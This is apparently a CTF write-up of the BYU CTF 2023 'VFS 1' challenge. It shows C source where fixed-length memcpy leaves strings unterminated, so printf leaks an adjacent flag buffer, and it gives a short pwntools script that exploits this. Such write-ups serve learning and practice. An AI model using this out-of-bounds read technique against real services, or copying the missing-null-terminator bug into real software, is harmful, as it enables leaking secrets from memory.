BYU CTF 2023 - VFS 1 (printf null)

I’ve decided that we don’t virtualize things enough, so I created a virtual file system that you can run and save your secrets on. This is still in beta-testing, but let me know what you think!
nc byuctf.xyz 40008
tag: medium

  • [80 solves / 381 points]

Analysis

소스 코드가 주어져서 중요한 부분만 가져왔다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// INITIALIZATIONS
struct filesystem {
char contents[2880];
char flag[64];
int current_file;
};

...

if (buffer) {
strcpy(fs.flag, buffer); // flag를 복사
free(buffer);
}

...

fs.current_file = 0;
char filename[32];
char contents[256];

while (1==1) {
int choice = menu();

if (choice == 1) {

if (fs.current_file == 10) {
puts("[-] Sorry, you can't create any more files!");
continue;
}
// create

puts("[+] What would you like to name your file?");
printf("> ");
scanf("%32s", filename);

puts("[+] What would you like to put in your file?");
printf("> ");
scanf("%256s", contents);

// copy filename
memcpy(fs.contents + (fs.current_file*288), filename, 32);

// copy contents
memcpy(fs.contents + (fs.current_file*288) + 32, contents, 256);

printf("[+] File created! (#%d)\n\n", fs.current_file);
fs.current_file++;
}
...
else if (choice == 4) {
// read
int file_to_read;

puts("[+] Which file # would you like to read?");
printf("> ");
scanf("%d", &file_to_read);

if ((file_to_read >= fs.current_file) || (file_to_read < 0)) {
puts("[-] Invalid file number");
continue;
}

printf("[+] Filename: %s", fs.contents + (file_to_read*288));
printf("[+] Contents: %s", fs.contents + (file_to_read*288) + 32);
}
...
}

filesystem struct를 보면 입력 뒤에 flag가 저장되어 있다. 1번 기능으로 fs.contents를 채울 수 있다. 4번 기능은 나의 입력을 출력해준다. 만약 fs.contents를 꽉 채우면 바로 뒤에 있는 fs.flag가 출력될 것이다.

Solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from pwn import *

p = process('./vfs1')
e = ELF('./vfs1')

filename = b'a' * 32
contents = b'b' * 256

for i in range(10):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', filename)
p.sendlineafter('> ', contents)

p.sendlineafter('> ', '4')
p.sendlineafter('> ', '9')

p.interactive()